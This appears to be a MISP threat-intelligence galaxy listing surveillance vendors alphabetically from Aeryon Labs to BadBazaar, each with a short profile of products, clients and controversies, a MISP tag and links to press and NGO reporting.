https://www.avinc.com/resources/press-releases/view/aerovironment-awarded-4-million-small-unmanned-aircraft-systems-foreign-military-sales-contract-for-u.s-ally#:}:text=international%20customer
https://thedefensepost.com/2023/11/09/israel-switchblade-drones-us/
https://www.defensemirror.com/news/22168/Egypt_Buys_AeroVironment_RQ_20B_Puma_Surveillance_UAVs
https://www.ainonline.com/aviation-news/defense/2015-08-05/indian-company-reveals-uav-partnership-aerovironment
https://www.africaintelligence.com/north-africa/2022/05/25/aerovironment-drones-are-only-fruit-of-vanishing-cooperation-with-pentagon,109787326-bre

Aeryon Labs

Aeryon Labs, now part of FLIR Systems, is a provider of high-performance surveillance drones and related software. Its SkyRanger drone is designed for real-time aerial surveillance and has been integrated into policing platforms like the Microsoft Advanced Patrol Platform (MAPP). The SkyRanger provides law enforcement agencies with live video feeds during patrols and operations. The drone's features include high-resolution cameras, automatic license plate readers, and proximity sensors, all connected to cloud platforms like Microsoft Azure for data analysis and storage.

The tag is: *misp-galaxy:surveillance-vendor="Aeryon Labs"*

Table 17548. Table References

Links
https://theintercept.com/2020/07/14/microsoft-police-state-mass-surveillance-facial-recognition/
https://www.discovermagazine.com/technology/michigan-is-first-to-get-statewide-approval-for-police-drones
https://www.wired.com/2012/12/california-drones/
https://dronelife.com/2015/10/28/microsofts-police-platform-to-include-drones/
https://www.wingsmagazine.com/flir-aeryon-16087/

Agnitio

Agnitio, a company specializing in biometric identification and surveillance technologies, developed several advanced tools for security and surveillance applications. Through its flagship product, BATVOX, Agnitio's technology can analyze and verify a person's identity based on their voice. It also provides facial recognition systems that can identify or verify individuals by analyzing facial features. Its primary clients include police, intelligence, military, and government organizations. It operates in at least 35 countries worldwide. In 2016, it was acquired by Nuance

Communications, which itself was acquired by Microsoft in 2022.

The tag is: *misp-galaxy:surveillance-vendor="Agnitio"*

Table 17549. Table References

Links
https://english.elpais.com/elpais/2013/04/30/inenglish/1367332614_584724.html
https://finance.yahoo.com/news/agnitio-makes-worlds-best-forensic-070000674.html

AheadX

AheadX is a Chinese company that develops unmanned aerial vehicles (UAVs) and surveillance drones. The company's drones have been linked to Myanmar's military junta, which has utilized them for surveillance against resistance forces.

AheadX drones, such as the QP530, offer capabilities for multi-target recognition, which includes recognizing characters and vehicles. Their drones also support AI recognition customization for specific targets.

The tag is: *misp-galaxy:surveillance-vendor="AheadX"*

Table 17550. Table References

Links
https://myanmar-now.org/en/news/myanmar-resistance-forces-capture-junta-surveillance-drone-in-sagaing-region/
https://www.stimson.org/2025/too-little-too-late-china-steps-up-military-aid-to-myanmars-junta/
https://www.techinasia.com/chinese-drone-maker-aheadx-flies-millions-seed

Airbotics

Airobotics is an Israeli startup specializing in the development and operation of autonomous unmanned aircraft systems (UAS). The company offers fully automated solutions for data capture and analysis. Their drones, such as the Optimus system, are designed to perform a range of tasks including real-time aerial surveillance. These drones are capable of operating 24/7 without human intervention, designed for continuous surveillance and data collection. In 2022, it was acquired by US company Ondas Holdings, a provider of technology platforms that digitize industrial and government operations.

The tag is: *misp-galaxy:surveillance-vendor="Airbotics"*

Table 17551. Table References

Links
https://www.airoboticsdrones.com/solutions/
https://www.thedefensepost.com/2023/11/17/airobotics-counter-drone-israel/

Almenta

Almenta is a surveillance firm based in Bulgaria and run by Israeli operators, including CEO Ari Covitz. It develops Wi-Fi-based hacking tools, which it showcased at the Milipol homeland security conference. The company offers a product called WiNA-P, which enables a variety of attacks on smartphones by exploiting Wi-Fi networks. These attacks include delivering malware to extract data from apps like WhatsApp, Telegram, Facebook, and Skype, as well as phishing capabilities to steal login credentials through fake landing pages. Almenta also advertises an "Account Grabber" feature to identify iCloud or Android accounts by sending deceptive messages to targets.

Alongside WiNA-P, Almenta promotes a product called “Observer,” which offers “worldwide geo location,” as described in a blurb on Milipol’s website. A brochure for “Observer” reveals that, with only a target’s mobile phone number, the device’s location can be pinpointed and displayed on a Google Maps interface.

The company claims its tools can operate from up to 500 meters away and target as many as 50 devices simultaneously. Almenta’s technology reportedly relies on tools from other Israeli surveillance firms, such as WiSpear and Jenovice, with costs for such systems starting at $1 million.

The tag is: *misp-galaxy:surveillance-vendor="Almenta"*

Table 17552. Table References

Links
https://www.thedailybeast.com/the-companies-that-will-track-any-phone-on-the-planet/
https://www.forbes.com/sites/thomasbrewster/2017/12/04/whatsapp-hacks-with-wifi-trojans-almenta-wispear-jenovice/
https://www.intelligenceonline.com/surveillance—interception/2022/01/18/us-interception-specialist-almenta-still-has-strong-grip-on-asian-market,109717518-art
https://www.documentcloud.org/documents/3956251-Almenta-Group-Observer-Brochure/#document/p1/a371598
https://www.intelligenceonline.com/surveillance—interception/2024/10/18/sofia-israeli-cyber-specialists—trusted-european-base,110328942-eve

Alpheratz

Alpheratz is a security and intelligence solutions distributor based in Quito, Ecuador. Founded in 2014, the company serves as a regional representative of surveillance tools, primarily working with Ecuadorian public institutions including the national police force, joint armed forces command, and the office of the prosecutor general.

As a distributor, Alpheratz represents various international intelligence firms, including Israeli cyber intelligence companies that are part of Tal Dilian’s Intellexa network, and acts as their representative in Ecuador. According to Intelligence Online, Alpheratz also represents other intelligence companies, including Sweden’s MSAB, Canada’s Magnet Forensics and Polish big data analytics specialist Datawalk.

The company's full legal name is Soluciones Globales & Representaciones Alpheratz Cia. LTDA.

The tag is: *misp-galaxy:surveillance-vendor="Alpheratz"*

Table 17553. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2024/12/12/alpheratz-cia-israeli-cyber-intelligence-firms—representative-in-ecuador%2C110350484-art
https://www.info-clipper.com/en/company/ecuador/soluciones-globales-representaciones-alpheratz-cia-ltda.ecdenzclh.html
https://alpheratzec.com/nosotros/

Amesys

Amesys is a French company known for the sale of a program called Cerebro, capable of tracking the electronic communications of its targets, including email addresses and phone numbers. In 2007, it reportedly sold surveillance technology to Libya, which was used by the Gaddafi regime to arrest and torture critics of the regime. Former managers of Amesys went on to run Nexa Technologies, which, in 2014, sold an interception system to the Egyptian regime under the name Eagle. The system was used in connection with the detention and torture of political opponents of the Al-Sissi regime. Eagle was deployed and maintained by Amesys from 2007 to 2011. In 2021, executives of Amesys and Nexa Technologies were indicted for complicity in torture.

The company rebranded to Advanced Middle East Systems and moved its operations to the United Arab Emirates.

The tag is: *misp-galaxy:surveillance-vendor="Amesys"*

Table 17554. Table References

Links
https://www.europarl.europa.eu/doceo/document/A-9-2023-0189_EN.html
https://www.fidh.org/en/region/north-africa-middle-east/egypt/surveillance-and-torture-in-egypt-and-libya-amesys-and-nexa
https://www.amnesty.org/en/latest/press-release/2021/06/executives-of-surveillance-companies-amesys-and-nexa-technologies-indicted-for-complicity-in-torture/
https://www.wired.com/story/french-spyware-executives-indicted-aiding-torture/
https://www.intelligenceonline.com/surveillance—interception/2013/12/18/amesys-doing-well-in-dubai,108000091-art

Analytical Business Solutions

Analytical Business Solutions is a company that develops surveillance and data management technologies. It's the developer of the Semantic Archive intelligence system, which it describes as a tool for creating an integrated storage of information. This system is designed to consolidate and

organize data from various communication streams into a searchable database for data retrieval and analysis.

The Semantic Archive system reportedly supports SORM-3, a Russian surveillance framework, by facilitating the processing and management of data collected from diverse communication channels.

The tag is: *misp-galaxy:surveillance-vendor="Analytical Business Solutions"*

Table 17555. Table References

Links
https://go.recordedfuture.com/hubfs/reports/ta-ru-2025-0107.pdf
https://www.accessnow.org/wp-content/uploads/archive/docs/Commonwealth_of_Surveillance_States_ENG_1.pdf
https://www.infosecinstitute.com/resources/general-security/russia-controls-internet/
http://old.anbr.ru/about/about/

Anomaly Six

Anomaly Six (A6) is a Virginia-based company founded in 2018 by two ex-military intelligence officers. The company claims to have the capability to track approximately 3 billion devices in real time through GPS data collected via smartphone apps. According to a report by The Intercept, their surveillance system operates by gathering location data through partnerships with "thousands" of apps using software development kits (SDKs). The company also claimed to have the capability to unmask and track intelligence agency (CIA and NSA) personnel during a pitch to Zignal Labs, a social media monitoring company. The company proposed a joint venture with Zignal Labs that would enable the U.S. government to conduct seamless surveillance operations on adversaries. Anomaly Six's capabilities are largely made possible through the advertising industry's data collection practices, highlighting the connection between commercial data brokers and surveillance techniques.

U.S. Special Operations Command (SOCOM) paid $589,500 to Anomaly Six in September 2020 for a "Commercial Telemetry Feed." The company's co-founder, Brendan Huff, previously managed Defense Department relationships of another U.S surveillance company called Babel Street.

The tag is: *misp-galaxy:surveillance-vendor="Anomaly Six"*

Table 17556. Table References

Links
https://www.vice.com/en/article/anomaly-6-six-special-operations-command/
https://theintercept.com/2022/04/22/anomaly-six-phone-tracking-zignal-surveillance-cia-nsa/
https://securityaffairs.com/130589/digital-id/anomaly-six-us-surveillance-firm.html
https://gizmodo.com/cia-nsa-spies-tracked-anomaly-6-product-demo-1848830150
https://theintercept.com/2022/05/04/surveillance-anomaly-six-phone-tracking/

AnyVision

AnyVision, an Israeli company with an international presence, is behind advanced tactical surveillance software used to monitor the movements of Palestinians. Their flagship facial recognition product, Better Tomorrow, is an automated watchlist alerting system that identifies persons of interest and their contact history in real-time.

The company's CEO is a former operating partner at SoftBank's investment arm, which co-led a large fundraising round for the company alongside Eldridge, an American holding company headquartered in Connecticut. A few months after the extent of their surveillance systems were exposed in U.S schools, they rebranded to Oosto and resumed operations.

The tag is: *misp-galaxy:surveillance-vendor="AnyVision"*

Table 17557. Table References

Links
https://www.nbcnews.com/news/all/why-did-microsoft-fund-israeli-firm-surveils-west-bank-palestinians-n1072116
https://www.whoprofits.org/companies/company/6872/ar
https://www.washingtonpost.com/world/middle_east/israel-palestinians-surveillance-facial-recognition/2021/11/05/3787bf42-26b2-11ec-8739-5cb6aba30a30_story.html
https://foreignpolicy.com/2022/02/21/palestine-israel-ai-surveillance-tech-hebron-occupation-privacy/
https://techcrunch.com/2021/07/07/anyvision-the-controversial-facial-recognition-startup-has-raised-235m-led-by-softbank-and-eldridge/
https://themarkup.org/privacy/2021/07/06/this-manual-for-a-popular-facial-recognition-tool-shows-just-how-much-the-software-tracks-people
https://www.accessnow.org/wp-content/uploads/2021/08/Surveillance-Tech-Latam-Report.pdf

Appin

Appin was an Indian hack-for-hire company founded in 2003 by brothers Rajat and Anuj Khare, and involved in extensive surveillance activities. Operating through various subsidiaries including Appin Software Security Pvt. Ltd. and the Appin Security Group, the company positioned itself as a cybersecurity solutions provider. While publicly presenting itself as the "world's 4th largest Critical Infrastructure Security Solutions Company", the company was reportedly involved in hack-for-hire activities, including espionage and targeted surveillance. The company served a wide range of clients, including Israeli private detectives Aviram Halevi and Tamir Mor, who alone commissioned surveillance operations on dozens of targets.

Appin has garnered attention for its aggressive legal campaign to suppress reporting about its past activities, most notably forcing Reuters to temporarily remove an investigative article through an Indian court order. The Association of Appin Training Centers, a successor organization, has pursued legal action against multiple media outlets to remove references to Appin's illegal hacking operations, though this effort has faced resistance from organizations like the Electronic Frontier

Foundation and DDoSecrets.

The company's influence persists through numerous successor organizations, with former Appin employees establishing and operating their own firms that continue similar surveillance and hacking operations.

The tag is: *misp-galaxy:surveillance-vendor="Appin"*

Table 17558. Table References

Links
https://www.reuters.com/investigates/special-report/usa-hackers-appin/
https://www.securityweek.com/researchers-dive-into-activities-of-indian-hack-for-hire-firm-appin/
https://ddosecrets.com/article/appin-uncensored
https://www.thedailybeast.com/who-is-killing-all-these-stories-about-rajat-khare-controversial-tech-mogul/
https://www.wired.com/story/appin-training-centers-lawsuits-censorship/
https://web.archive.org/web/20221105180814/https:/www.thebureauinvestigates.com/stories/2022-11-05/inside-the-global-hack-for-hire-industry
https://www.documentcloud.org/documents/23581428-appin-companies-name-change-documents#document/p5/a2198004

AppLogic Networks

AppLogic Networks (formerly Sandvine) is a Canadian network intelligence company. A 2018 report by Citizen Lab found Sandvine DPI equipment being used in Turkey, Egypt, and elsewhere to block news, political sites, and inject spyware into downloads. In in 2020, Masaar conducted tests revealing that Sandvine equipment was used to block access to press and human rights websites in Egypt. In 2025, Amnesty International reported that Sandvine technology was central to Pakistan's first national firewall system (WMS 1.0), enabling mass surveillance and censorship of online communications.

The tag is: *misp-galaxy:surveillance-vendor="AppLogic Networks"*

Table 17559. Table References

Links
https://citizenlab.ca/2018/03/bad-traffic-sandvines-packetlogic-devices-deploy-government-spyware-turkey-syria/
https://www.amnesty.org/en/latest/news/2025/09/pakistan-mass-surveillance-and-censorship-machine-is-fueled-by-chinese-european-emirati-and-north-american-companies/
https://www.applogicnetworks.com/blog/sandvine-becomes-applogic-networks
https://masaar.net/en/press-and-human-rights-websites-blocked-in-egypt-using-sandvine-equipment/

AppsFlyer

AppsFlyer collects and processes data using software development kits (SDKs) integrated into apps, which track user behavior and device identifiers. The company built settings that let their clients ignore people's tracking preferences. AppsFlyer was noted to collect data such as Advertising IDs, GPS coordinates, user birthdays, gender, "target gender" (data on sexual orientation) and various metadata from apps like Tinder, Grindr, OkCupid, amongst many others, creating detailed user profiles and their activities.

Founded in Israel in 2011, the company also operates from an additional office in San Francisco, California.

The tag is: *misp-galaxy:surveillance-vendor="AppsFlyer"*

Table 17560. Table References

Links
https://www.washingtonpost.com/technology/2021/09/23/iphone-tracking/
https://www.eff.org/deeplinks/2020/01/ring-doorbell-app-packed-third-party-trackers
https://www.fastcompany.com/90456776/ring-caught-giving-user-data-to-facebook-whether-they-have-an-account-or-not
https://news.sophos.com/en-us/2020/01/16/apps-are-sharing-more-of-your-data-with-ad-industry-than-you-may-think/

Asia Global Technologies (AGT)

Led by Israeli entrepreneur Mati Kochavi, Asia Global Technologies (AGT) won a contract from the Abu Dhabi government in 2008 to create a "smart city" network of surveillance cameras, electronic fences and sensors that paid about $6 billion over seven years.

The tag is: *misp-galaxy:surveillance-vendor="Asia Global Technologies (AGT)"*

Table 17561. Table References

Links
https://merip.org/2023/09/the-abraham-accords-cybersecurity/
https://www.middleeasteye.net/news/falcon-eye-israeli-installed-mass-civil-surveillance-system-abu-dhabi
https://www.intelligenceonline.com/corporate-intelligence/2025/01/10/the-spyware-professionals-who-stand-to-gain-from-trump-s-return
https://www.azcentral.com/story/news/local/arizona-investigations/2023/11/16/xrvision-owner-yaacov-apelbaum-exposes-voting-machine-breach-plots/71583389007/

Assac Networks

Assac Networks is an Israeli company that provides smartphone monitoring technologies. Its clients

include other companies engaged in surveillance activities, such as Elbit Systems, Verint, and Rafael Advanced Defense Systems Ltd. Their mobile surveillance technologies are used by law enforcement agencies in Mexico, Colombia, Canada, Spain, and Singapore, amongst other countries. The company was also awarded a government contract from one of the Gulf Cooperation Council countries, although it is not known which one, as well as in at least 3 countries in Africa. In 2022, the company announced a major strategic investment and acquisition by ASPIS Technologies, Inc.

The tag is: *misp-galaxy:surveillance-vendor="Assac Networks"*

Table 17562. Table References

Links
https://www.hstoday.us/industry/assac-networks-announces-7-5-million-investment-by-aspis-cyber-technologies/
https://internationalsecurityjournal.com/assac-networks-shieldit-african/
https://euro-sd.com/2022/05/news/cyber-coms/26191/assac-networks/

Ateros

Ateros develops advanced wireless surveillance sensors to monitor Cellular, Wi-Fi, and Bluetooth communications, creating detailed communication fingerprints of targets. It claims to service customers in the Americas, EMEA and APAC regions. The products are primarily utilized for surveillance purposes by law enforcement, intelligence units, and at checkpoints and borders.

The tag is: *misp-galaxy:surveillance-vendor="Ateros"*

Table 17563. Table References

Links
https://hls-cyber-2022.israel-expo.co.il/expo/exhibits/3245
https://www.ateros.net/

Athena Information System

Athena Information System, a Hanoi-based company, facilitates Vietnam’s surveillance efforts targeting Khmer minorities. Acting as a local partner, Athena enabled the purchase of OSINT tools, including solutions from Maltego Technologies and Social Links, as well as MD-VIDEO AI digital forensic software developed by South Korea’s GMDSOFT to be used for this purpose.

The tag is: *misp-galaxy:surveillance-vendor="Athena Information System"*

Table 17564. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2025/05/23/hanoi-buys-european-osint-solutions-to-monitor-khmer-minorities%2C110454617-art

https://www.dnb.com/business-directory/company-profiles.athena_viet_nam_information_system_company_limited.31ba6383ed51c2d69ca270f08c898561.html

Autel

Autel Robotics, a Chinese drone manufacturer, is a producer of drones with capabilities such as high-resolution cameras, precise surveillance tools, and the ability to carry out military functions like shooting or carrying payloads. Autel drones have been widely deployed in various conflict zones.

The Israeli Defense Forces (IDF) make extensive use of Autel drones. According to the Euro-Med Human Rights Monitor, while they were initially deployed for surveillance and intelligence gathering, including for indoor operations, their use later expanded to include direct attacks on Palestinian civilians, including children, women, and the elderly.

Autel drones are widely used by law enforcement agencies in the U.S, and have also been adopted by the British Army and UK police forces, including those in Nottinghamshire and Wiltshire. The company has a registered office in the UAE.

The tag is: *misp-galaxy:surveillance-vendor="Autel"*

Table 17565. Table References

Links
https://euromedmonitor.org/en/article/6387/Chinese-companies-must-prevent-their-arms,-drones-from-being-used-in-Israeli-international-crimes
https://timesofindia.indiatimes.com/technology/tech-news/us-may-ban-follow-indias-ban-on-another-chinese-technology-giant/articleshow/116223973.cms
https://en.globes.co.il/en/article-idf-to-procure-20000-israeli-made-drones-1001487932
https://theintercept.com/2024/01/06/autel-chinese-drones-bombs-weapons/
https://www.bloomberg.com/news/articles/2024-11-15/uk-army-police-use-drones-from-sanctioned-firm-arming-russia
https://www.chinadaily.com.cn/a/202403/12/WS65efaf81a31082fc043bc140.html

Auterion

Auterion provides software platforms like AuterionOS and Mission Control to manage drone-based surveillance operations. These tools enable autonomous mission planning, real-time data management, and live video streaming. The systems support various surveillance tasks by integrating payloads such as NextVision cameras, designed primarily for defense, law enforcement, and use by government agencies.

The tag is: *misp-galaxy:surveillance-vendor="Auterion"*

Table 17566. Table References

Links
https://a16z.com/american-dynamism-50-2025/
https://www.commercialuavnews.com/public-safety/headlines-from-the-industry-auterionos-and-auterion-mission-control-aim-to-improve-intelligence-surveillance-and-reconnaissance-operations
https://dronelife.com/2020/07/02/auterion-develops-drone-controller-for-government-agencies/
https://techcrunch.com/2018/09/04/auterion/
https://www.aerospacetestinginternational.com/news/germanys-rheinmetall-partners-with-auterion-on-drone-software.html

AuthenMetric

AuthenMetric is a Beijing-based facial recognition company and a contributor to China's AI-driven surveillance initiatives. Their capabilities include mass video surveillance projects with facial recognition, voice-recognition software, and comprehensive DNA collection programs. AuthenMetric's technology has been deployed at China's borders.

The tag is: *misp-galaxy:surveillance-vendor="AuthenMetric"*

Table 17567. Table References

Links
https://www.reuters.com/world/china/china-uses-ai-software-improve-its-surveillance-capabilities-2022-04-08/
https://www.comp.hkbu.edu.hk/}asi07/test/Face-ASI07.pdf
https://www.itworldcanada.com/ai/listing/ziqing-li/

Avalanche

Avalanche, also known as Lavina-Pulse, is a Russian big data surveillance and online manipulation tool founded by Andrei Masalovich, a former KGB agent turned YouTube influencer. The platform provides web scraping and surveillance on behalf of its clients, gathering data from social networks, private groups, and niche forums to track and analyze individuals and organizations.

Avalanche's clients include Russian intelligence agencies (FSB and GRU), energy giants like Rosatom, Rosneft, and Gazprom, and regimes in countries such as Vietnam, Myanmar, and Nicaragua. The tool has been used to monitor environmental activists, journalists, NGOs, and political dissidents.

More than 100 accounts on Facebook and Instagram were linked to its services, according to a report by Meta.

The tag is: *misp-galaxy:surveillance-vendor="Avalanche"*

Table 17568. Table References

Links
https://www.forbes.com/sites/thomasbrewster/2023/03/21/andrei-masalovich-avalanche-russia-cambridge-analytica/
https://www.forbes.com/sites/emmawoollacott/2022/12/16/surveillance-for-hire-industry-continues-to-thrive-says-meta/
https://www.theguardian.com/technology/2022/dec/15/meta-facebook-owner-warns-spyware-social-media
https://cyberscoop.com/meta-surveillance-for-hire-government-action/

Avathon

Avathon, formerly known as SparkCognition, markets its Visual AI Advisor as a tool for real-time surveillance and monitoring, using existing CCTV infrastructure to track, analyze and predict behavior.

SparkCognition has connections to controversial lobbying efforts, revealed in the scandal involving retired U.S General John Allen and his undisclosed financial ties to Qatar. Court filings revealed that Allen, while working with Qatari officials, sought to advance the interests of companies he was affiliated with, including SparkCognition. As a board member of SparkCognition, Allen reportedly used his position to promote the company's AI tools and services during his interactions with Qatari officials.

SparkCognition's Visual AI Advisor is deployed across over 130,000 cameras in 16 countries. The company's SkyGrid technology is installed in over 78,000 registered unmanned aerial vehicles (UAVs) across more than 190 countries.

The tag is: *misp-galaxy:surveillance-vendor="Avathon"*

Table 17569. Table References

Links
https://www.tasb.org/news-insights/districts-turn-to-ai-to-address-school-security-needs
https://www.govtech.com/education/k-12/las-vegas-school-implementing-ai-based-security-system
https://www.prnewswire.com/news-releases/ai-leader-sparkcognition-expands-internationally-to-dubai-300627896.html
https://www.vox.com/23166516/scandal-john-allen-brookings-think-tank-qatar-lobbying
https://www.prnewswire.com/news-releases/sparkcognition-announces-123-million-series-d-funding-and-a-unicorn-valuation-to-accelerate-ai-adoption-across-industries-301467137.html
https://www.prnewswire.com/news-releases/sparkcognition-extends-middle-east-presence-with-expansion-in-pakistan-301885093.html
https://www.frost.com/wp-content/uploads/2023/06/SparkCognition-Final-Award-Write-up.pdf

Avigilon

Avigilon, a subsidiary of Motorola Solutions, specializes in the design, development, and manufacture of advanced surveillance solutions that integrate artificial intelligence (AI) capabilities. Their products include high-definition cameras, video management software, and AI-powered analytics tools. One of the company's developments is the Avigilon Appearance Search technology, an AI-powered tool embedded in their Avigilon Control Center (ACC) video management software. This technology allows customers to search for individuals based on specific physical characteristics, such as hair and clothing color, gender, and age, effectively turning surveillance systems into tools for profiling. Avigilon's cameras are used in prisons, airports, schools and government facilities.

The tag is: *misp-galaxy:surveillance-vendor="Avigilon"*

Table 17570. Table References

Links
https://www.vox.com/recode/2020/1/25/21080749/surveillance-school-artificial-intelligence-facial-recognition
https://www.bloomberg.com/news/articles/2018-02-02/motorola-solutions-sees-opening-with-1-billion-avigilon-deal
https://www.njspotlightnews.org/2024/05/newark-nj-public-schools-to-install-7000-ai-surveillance-cameras/
https://www.digitalsecuritymagazine.com/en/2021/01/07/una-escuela-de-secundaria-de-illinois-renueva-su-sistema-de-seguridad-con-avigilon/
https://www.prnewswire.com/news-releases/avigilon-adds-gender-and-age-to-avigilon-appearance-search-technology-678090653.html
https://www.facebook.com/watch/?v=397916897627899
https://www.nbcnews.com/news/us-news/motorola-company-known-cellphones-fast-becoming-major-player-government-surveillance-n1059551
https://www.cbc.ca/news/canada/british-columbia/motorola-buys-avigilon-1.4517480
https://www.gulf-times.com/story/413498/canadian-envoy-expresses-desire-to-strengthen-qatar-security
https://www.sourcesecurity.com/news/co-3126-ga.3387.html

Avnon Group

Avnon Group is an Israeli firm that develops and distributes surveillance technologies through various subsidiaries, such as Bler and Tactic Lab. It's founded by Tomer Avnon, a former Israeli Navy SEAL.

The company offers various tools for intelligence and law enforcement, like IMSI catchers and Wi-Fi sniffing equipment, to enable real-time mobile tracking and wireless communication interception. According to its official website, it operates in over 80 countries worldwide.

Avnon has established partnerships with various countries in the SWANA region, including Morocco and several Gulf nations. The company also has a significant relationship with Egypt, where its subsidiary Bler sold its monitoring tools, specifically its Webint Center platform, to Egypt's Technical Research Department through intermediaries.

Avnon sold social media-tracking software to Hungary, allowing the government to monitor online discourse and public opinion. The sale was approved by Israel's Defense Ministry.

Related to Avnon Group is Synaptech Capital, the first Israeli-Emirati venture capital fund to invest in Israeli and Emirati startups - including ones that develop and distribute surveillance technologies. Synaptech Capital was co-founded by Tomer Avnon and Obediah Ayton, COO of The Private Investment Group.

The tag is: *misp-galaxy:surveillance-vendor="Avnon Group"*

Table 17571. Table References

Links
https://www.middleeastmonitor.com/20230711-the-means-of-communication-in-egypt-more-restrictions-and-censorship/
https://www.moroccoworldnews.com/2022/10/351783/defense-industry-avnon-group-capitalizes-on-morocco-israel-relations
https://balkaninsight.com/2022/10/13/boosting-of-spying-capabilities-stokes-fear-hungary-is-building-a-surveillance-state/
https://www.timesofisrael.com/israeli-firm-to-sell-social-media-tracking-software-to-orbans-hungary/
https://www.timesofisrael.com/ex-defense-minister-moshe-yaalon-to-head-uae-based-israeli-vc-firm/
https://www.jpost.com/business-and-innovation/all-news/article-702192

Axis Communications

Axis Communications, a Swedish company known for its network cameras and other surveillance solutions, has a presence in the United Arab Emirates and sells its products there. In 2014, Axis praised mandatory video surveillance in Dubai. In 2015, the company was acquired by Canon Inc. The company provided its technology to China's public security system and was frequently mentioned as a "recommended brand" in Chinese state surveillance procurement documents from 2012 to 2019.

The tag is: *misp-galaxy:surveillance-vendor="Axis Communications"*

Table 17572. Table References

Links
https://www.fm-middleeast.com/suppliers/security/article-30495-axis-praises-mandatory-video-surveillance-in-dubai

https://www.nit.ae/nit-axis-communications-middle-east-distributor-year-2016/
https://www.arabianbusiness.com/industries/technology/axis-communications-mea
https://ipvm.com/reports/canon-to-buy-axis
https://www.amnesty.org/en/latest/news/2020/09/eu-surveillance-sales-china-human-rights-abusers-2/

Axon

Axon is a company that provides surveillance technologies primarily for law enforcement agencies worldwide. Their Axon Network connects people, devices, and apps to create an integrated ecosystem that includes TASER smart devices, police body cameras, and digital evidence management systems. Their surveillance technology portfolio includes realtime crime centers through their Axon Fusus platform. Axon's AI-powered ALPR cameras include the Axon Outpost, which integrates livestreaming, ALPR, and vehicle recognition capabilities into a single comprehensive device.

The tag is: *misp-galaxy:surveillance-vendor="Axon"*

Table 17573. Table References

Links
https://www.axon.com/newsroom/press-releases/axon-announces-new-fixed-ALPR-camera-solutions-and-next-gen-AI-advancements-to-expand-real-time-public-safety-ecosystem
https://www.freep.com/story/news/local/michigan/wayne/2025/05/15/dearborn-police-contract-axon-fusus-access-surveillance-videos/83592148007/
https://investor.axon.com/2021-08-24-Gujarat-State-Police-Joins-the-Axon-Network-with-Largest-Body-Worn-Camera-Rollout-in-India
https://investor.axon.com/2022-03-31-Sao-Paulo-State-Military-Police-to-Deploy-7,000-Additional-Axon-Body-3-Cameras-After-Significant-Increase-in-Lives-Saved
https://www.police1.com/retail-crimes/auror-and-axon-deepen-partnership-in-community-safety-push
https://www.axon.com/resources/rtcc
https://lawrencekstimes.com/2025/07/25/experts-warn-surveillance-lpd-system/

Azimuth Security

Azimuth Security is an Australian cybersecurity firm best known as a "hack for hire" group that creates hacking tools, including those capable of breaking into iPhones. The company has gained recognition for its "artisanal" approach to developing exploits to craft precise and effective solutions. Azimuth's work has been utilized by law enforcement and government agencies, often in high-profile cases requiring advanced technical capabilities. In 2018, it was acquired by U.S. defense contractor L3Harris.

The tag is: *misp-galaxy:surveillance-vendor="Azimuth Security"*

Table 17574. Table References

Links
https://www.atlanticcouncil.org/in-depth-research-reports/report/mythical-beasts-and-where-to-find-them-mapping-the-global-spyware-market-and-its-threats-to-national-security-and-human-rights/
https://www.smh.com.au/technology/the-artisanal-genius-of-creating-iphone-breaking-hacks-20210416-p57jup.html
https://www.vice.com/en/article/iphone-zero-days-inside-azimuth-security/
https://cyberscoop.com/l3-acquires-azimuth-and-linchpin/

Babel Street

Babel Street provides tools that analyzes and monitors social media and other online sources for law enforcement and intelligence purposes. Used by U.S Secret Service, it can scrape data from over 25 social media sites, translate over 200 languages, and set up geo-fences with customizable filtering options. The software can also survey sentiment geographically over time and import data to other surveillance platforms like Palantir.

One of its primary AI products, Babel X, is used by the U.S Customs and Border Protection (CBP) to analyze the social media of U.S. citizens, refugees, and asylum seekers. Babel X can link social media posts to individuals' Social Security numbers, location data, and collect a wide range of other identifiers, including IP addresses, employment history, and unique advertising identifiers. CBP also uses Locate X, an add-on that includes smartphone location data, and has access to AdID information. Locate X can zoom into a specific location and display the movements of smartphones in that area. Each phone, represented by a red dot on the map, can be tracked individually. The tool can show the path a specific device has taken, including stops at various locations.

Babel Street's acquisitions include intelligence company Vertical Knowledge in 2024, Rosette, a text analytics platform, in 2022, and Dunami, a social media intelligence company, in 2020. Its board of advisers includes Robert Ashley, ex-director of the Defense Intelligence Agency.

The tag is: *misp-galaxy:surveillance-vendor="Babel Street"*

Table 17575. Table References

Links
https://www.vice.com/en/article/gv7g3m/meet-babel-street-the-powerful-social-media-surveillance-used-by-police-secret-service-and-sports-stadiums
https://www.vice.com/en/article/m7bge3/dhs-uses-ai-tool-babel-x-babel-street-social-media-citizens-refugees
https://www.404media.co/inside-the-u-s-government-bought-tool-that-can-track-phones-at-abortion-clinics/
https://theintercept.com/2021/11/04/treasury-surveillance-location-data-babel-street/
https://fedscoop.com/babel-x-fbi-purchases-5000-licenses/

https://www.babelstreet.com/about-us/newsroom/babel-street-announces-strategic-acquisition-of-vertical-knowledge
https://www.businesswire.com/news/home/20221128005123/en/Babel-Street-to-Acquire-Rosette-A-Leading-Provider-of-AI-Powered-Text-Analytics-Software
https://technical.ly/startups/ma-moves-mergers-acquisitions-babel-street-thycotic-cloudbolt-software/
https://www.intelligenceonline.com/surveillance—interception/2021/12/30/how-osint-has-worked-its-way-among-cyber-intelligence-experts,109713947-eve

BadBazaar

BadBazaar is a mobile spyware tool with variants targeting both Android and iOS devices. It has been linked to Chinese-backed hacking groups, such as APT15. This group is known by various names assigned by different cybersecurity organizations, including Vixen Panda, Ke3chang, Nickel, Playful Taurus, BackdoorDiplomacy, Mirage, GREF, RoyalAPT, Nylon Typhoon, Flea, and Red Vulture.

BadBazaar has primarily been used to target Uyghur, Tibetan, and Taiwanese individuals, as well as civil society actors who may oppose Chinese state interests.

The spyware is distributed through trojanized apps, including fake versions of popular communication tools like Signal and Telegram, as well as apps tailored to specific communities, such as Uyghur-language Quran apps. Once installed, BadBazaar can collect sensitive data, including call logs, GPS locations, SMS messages, and files. The spyware has also been observed spreading via social media platforms and official app stores.

The Chengdu-based contractor, Sichuan Dianke Network Security Technology Co., Ltd. (also known as UPSEC), was linked to the deployment of this malware.

The tag is: *misp-galaxy:surveillance-vendor="BadBazaar"*

Table 17576. Table References

Links
https://www.ncsc.gov.uk/news/advisory-badbazaar-moonshine
https://techcrunch.com/2025/04/09/governments-identify-dozens-of-android-apps-bundled-with-spyware/
